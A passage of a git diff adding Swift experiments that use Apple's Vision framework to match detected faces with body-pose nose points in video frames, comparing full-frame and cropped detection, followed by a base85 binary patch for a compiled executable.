[.prettyPrinted, .sortedKeys] + let outputDir = "experiments/face_pose_sync_poc/output" + try? FileManager.default.createDirectory(atPath: outputDir, withIntermediateDirectories: true) + + let framesData = try! encoder.encode(frameResults) + try! framesData.write(to: URL(fileURLWithPath: "\(outputDir)/crop_experiment_frames.json")) + + let summaryData = try! encoder.encode(summary) + try! summaryData.write(to: URL(fileURLWithPath: "\(outputDir)/crop_experiment_summary.json")) + + // Print report + print("\n" + String(repeating: "=", count: 50)) + print(" Face-Pose Cropping Experiment Report") + print(String(repeating: "=", count: 50)) + print("Frames analyzed: \(totalFrames)") + print() + print("Full Frame Detection:") + print(" Avg distance: \(String(format: "%.1f", fullAvg))px") + print(" Matches (<100px): \(fullMatches) (\(fullDistsAll.count > 0 ? String(format: "%.1f%%", Double(fullMatches)/Double(fullDistsAll.count)*100) : "N/A"))") + print() + print("Cropped Region Detection (3x face bbox):") + print(" Avg distance: \(String(format: "%.1f", cropAvg))px") + print(" Matches (<100px): \(cropMatches) (\(cropDistsAll.count > 0 ? String(format: "%.1f%%", Double(cropMatches)/Double(cropDistsAll.count)*100) : "N/A"))") + print() + print("Improvement:") + print(" Distance reduction: \(fullAvg > 0 ? String(format: "%.1f%%", (fullAvg - cropAvg) / fullAvg * 100) : "N/A")") + print() + print("Results saved to: \(outputDir)/crop_experiment_*.json") +} + +// Parse arguments +let args = CommandLine.arguments +let videoPath: String +let maxFrames: Int + +if args.count >= 2 { + videoPath = args[1] + maxFrames = args.count > 2 ? Int(args[2]) ?? 300 : 300 +} else { + // Default test video + videoPath = "/Users/accusys/momentry/var/sftpgo/data/demo/Accusys-WD_FilmRiot_test.mp4" + maxFrames = 300 +} + +print("[CropExperiment] Starting...") +await run(videoPath: videoPath, maxFrames: maxFrames) diff --git a/experiments/face_pose_sync_poc/face_pose_experiment.swift b/experiments/face_pose_sync_poc/face_pose_experiment.swift new file mode 100644 index 0000000..3d8601f --- /dev/null +++ b/experiments/face_pose_sync_poc/face_pose_experiment.swift @@ -0,0 +1,237 @@ +#!/opt/homebrew/bin/swift +/** + * Face-Pose Matching Experiment + * + * 測試不同方法來匹配 face 和 body pose + * 1. Full frame pose detection + * 2. Cropped region (2x, 4x face bbox) + * 3. 找出最佳匹配方法 + */ + +import Foundation +import AVFoundation +import Vision +import CoreGraphics +import CoreImage + +struct FaceData { + let x: Int, y: Int, w: Int, h: Int +} + +struct PoseData { + let noseX: Double, noseY: Double + let bboxX: Int, bboxY: Int, bboxW: Int, bboxH: Int +} + +func detectFaces(imageBuffer: CVPixelBuffer, width: Int, height: Int) -> [FaceData] { + let handler = VNImageRequestHandler(cvPixelBuffer: imageBuffer, options: [:]) + let request = VNDetectFaceRectanglesRequest() + var results: [FaceData] = [] + try? handler.perform([request]) + if let observations = request.results { + for obs in observations { + let rect = obs.boundingBox + results.append(FaceData( + x: Int(rect.origin.x * Double(width)), + y: Int((1 - rect.origin.y - rect.height) * Double(height)), + w: Int(rect.width * Double(width)), + h: Int(rect.height * Double(height)) + )) + } + } + return results +} + +func detectPose(imageBuffer: CVPixelBuffer, width: Int, height: Int, cropRect: CGRect? = nil) -> [PoseData] { + var targetBuffer: CVPixelBuffer = imageBuffer + + if let rect = cropRect { + let ciImage = CIImage(cvPixelBuffer: imageBuffer) + let context = CIContext(options: nil) + let cropped = ciImage.cropped(to: rect) + + let cropW = Int(rect.width) + let cropH = Int(rect.height) + var newBuffer: CVPixelBuffer? + let status = CVPixelBufferCreate(kCFAllocatorDefault, cropW, cropH, kCVPixelFormatType_32BGRA, nil, &newBuffer) + guard status == kCVReturnSuccess, let buffer = newBuffer else { return [] } + + context.render(cropped, to: buffer) + targetBuffer = buffer + } + + let handler = VNImageRequestHandler(cvPixelBuffer: targetBuffer, options: [:]) + let request = VNDetectHumanBodyPoseRequest() + var results: [PoseData] = [] + try? handler.perform([request]) + + if let observations = request.results as? [VNHumanBodyPoseObservation] { + for obs in observations { + var minX = Double.infinity, minY = Double.infinity + var maxX = -Double.infinity, maxY = -Double.infinity + var noseX: Double = 0, noseY: Double = 0 + var hasNose = false + + for jn in [VNHumanBodyPoseObservation.JointName.nose, .leftEye, .rightEye, .leftShoulder, .rightShoulder] { + if let pt = try? obs.recognizedPoint(jn), pt.confidence > 0.3 { + let px = pt.location.x * Double(width) + let py = (1 - pt.location.y) * Double(height) + minX = min(minX, px); minY = min(minY, py) + maxX = max(maxX, px); maxY = max(maxY, py) + if jn == .nose { noseX = px; noseY = py; hasNose = true } + } + } + + if hasNose { + results.append(PoseData( + noseX: noseX, noseY: noseY, + bboxX: Int(max(0, minX - 20)), bboxY: Int(max(0, minY - 20)), + bboxW: Int(maxX - minX + 40), bboxH: Int(maxY - minY + 40) + )) + } + } + } + + return results +} + +func run(videoPath: String, maxFrames: Int) async { + print("[Experiment] Loading video: \(videoPath)") + + let url = URL(fileURLWithPath: videoPath) + let asset = AVURLAsset(url: url) + let tracks = (try? await asset.loadTracks(withMediaType: .video)) ?? [] + guard let track = tracks.first else { exit(1) } + + let formatDesc = (try? await track.load(.formatDescriptions))?.first + let dims = formatDesc.map { CMVideoFormatDescriptionGetDimensions($0) } ?? CMVideoDimensions(width: 1920, height: 1080) + let width = Int(dims.width) + let height = Int(dims.height) + + print("[Experiment] Video: \(width)x\(height)") + print("[Experiment] Analyzing \(maxFrames) frames...\n") + + guard let reader = try? AVAssetReader(asset: asset) else { exit(1) } + let outputSettings: [String: Any] = [kCVPixelBufferPixelFormatTypeKey as String: Int(kCVPixelFormatType_32BGRA)] + let trackOutput = AVAssetReaderTrackOutput(track: track, outputSettings: outputSettings) + reader.add(trackOutput) + reader.startReading() + + var frameIndex = 0 + + // Results tracking + var fullDists: [Double] = [] + var crop2xDists: [Double] = [] + var crop4xDists: [Double] = [] + var framesWithFace = 0 + var framesWithPoseFull = 0 + var framesWithPose2x = 0 + var framesWithPose4x = 0 + + print("[Experiment] Processing frames...") + + while reader.status == .reading, let sampleBuffer = trackOutput.copyNextSampleBuffer() { + if frameIndex >= maxFrames { break } + + guard let imageBuffer = CMSampleBufferGetImageBuffer(sampleBuffer) else { + frameIndex += 1 + continue + } + + let faces = detectFaces(imageBuffer: imageBuffer, width: width, height: height) + + if !faces.isEmpty { + framesWithFace += 1 + + // Full frame pose + let posesFull = detectPose(imageBuffer: imageBuffer, width: width, height: height) + if !posesFull.isEmpty { framesWithPoseFull += 1 } + + // Cropped regions + let firstFace = faces[0] + let cx = Double(firstFace.x + firstFace.w / 2) + let cy = Double(firstFace.y + firstFace.h / 2) + + // 2x crop + let rect2x = CGRect(x: max(0, cx - Double(firstFace.w)), y: max(0, cy - Double(firstFace.h)), + width: Double(firstFace.w * 2), height: Double(firstFace.h * 2)) + let poses2x = detectPose(imageBuffer: imageBuffer, width: Int(rect2x.width), height: Int(rect2x.height), cropRect: rect2x) + if !poses2x.isEmpty { framesWithPose2x += 1 } + + // 4x crop + let rect4x = CGRect(x: max(0, cx - Double(firstFace.w * 2)), y: max(0, cy - Double(firstFace.h * 2)), + width: Double(firstFace.w * 4), height: Double(firstFace.h * 4)) + let poses4x = detectPose(imageBuffer: imageBuffer, width: Int(rect4x.width), height: Int(rect4x.height), cropRect: rect4x) + if !poses4x.isEmpty { framesWithPose4x += 1 } + + // Calculate distances + let fcx = cx + let fcy = cy + + for pose in posesFull { + fullDists.append(abs(fcx - pose.noseX) + abs(fcy - pose.noseY)) + } + for pose in poses2x { + crop2xDists.append(abs(fcx - pose.noseX) + abs(fcy - pose.noseY)) + } + for pose in poses4x { + crop4xDists.append(abs(fcx - pose.noseX) + abs(fcy - pose.noseY)) + } + } + + if frameIndex % 50 == 0 { + print(" Frame \(frameIndex): faces=\(faces.count)") + } + frameIndex += 1 + } + + reader.cancelReading() + + // Calculate stats + func stats(_ dists: [Double]) -> (avg: Double, median: Double, under50: Int, under100: Int) { + let sorted = dists.sorted() + let avg = sorted.isEmpty ? 0 : sorted.reduce(0, +) / Double(sorted.count) + let median = sorted.isEmpty ? 0 : sorted[sorted.count / 2] + let under50 = sorted.filter { $0 < 50 }.count + let under100 = sorted.filter { $0 < 100 }.count + return (avg, median, under50, under100) + } + + let fullStats = stats(fullDists) + let crop2xStats = stats(crop2xDists) + let crop4xStats = stats(crop4xDists) + + print("\n" + String(repeating: "=", count: 60)) + print(" Face-Pose Matching Experiment Results") + print(String(repeating: "=", count: 60)) + print("Frames analyzed: \(frameIndex)") + print("Frames with face: \(framesWithFace)") + print() + print("Detection Rate:") + print(" Full frame: \(framesWithPoseFull)/\(framesWithFace) (\(String(format: "%.1f%%", Double(framesWithPoseFull)/Double(max(1,framesWithFace))*100))") + print(" 2x crop: \(framesWithPose2x)/\(framesWithFace) (\(String(format: "%.1f%%", Double(framesWithPose2x)/Double(max(1,framesWithFace))*100))") + print(" 4x crop: \(framesWithPose4x)/\(framesWithFace) (\(String(format: "%.1f%%", Double(framesWithPose4x)/Double(max(1,framesWithFace))*100))") + print() + print("Distance (face center ↔ pose nose):") + print(" Method | Avg px | Median px | <50px | <100px | Pairs") + print(" -------------|---------|-----------|-------|--------|------") + print(" Full frame | \(String(format: "%7.1f", fullStats.avg)) | \(String(format: "%9.1f", fullStats.median)) | \(String(format: "%5d", fullStats.under50)) | \(String(format: "%6d", fullStats.under100)) | \(fullDists.count)") + print(" 2x crop | \(String(format: "%7.1f", crop2xStats.avg)) | \(String(format: "%9.1f", crop2xStats.median)) | \(String(format: "%5d", crop2xStats.under50)) | \(String(format: "%6d", crop2xStats.under100)) | \(crop2xDists.count)") + print(" 4x crop | \(String(format: "%7.1f", crop4xStats.avg)) | \(String(format: "%9.1f", crop4xStats.median)) | \(String(format: "%5d", crop4xStats.under50)) | \(String(format: "%6d", crop4xStats.under100)) | \(crop4xDists.count)") + print() + + // Conclusion + if fullStats.median < crop2xStats.median && fullStats.median < crop4xStats.median { + print("Conclusion: Full frame detection gives best matching accuracy") + } else if crop2xStats.median < fullStats.median && crop2xStats.median < crop4xStats.median { + print("Conclusion: 2x crop gives best matching accuracy") + } else { + print("Conclusion: 4x crop gives best matching accuracy") + } +} + +let args = CommandLine.arguments +let videoPath = args.count >= 2 ? args[1] : "/Users/accusys/momentry/var/sftpgo/data/demo/Accusys-WD_FilmRiot_test.mp4" +let maxFrames = args.count > 2 ? Int(args[2]) ?? 300 : 300 + +await run(videoPath: videoPath, maxFrames: maxFrames) diff --git a/experiments/face_pose_sync_poc/generate_pose_traced b/experiments/face_pose_sync_poc/generate_pose_traced new file mode 100755 index 0000000000000000000000000000000000000000..a1d47ee11ed7ae9a0380674d2c81382eedcde7b1 GIT binary patch literal 473528 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 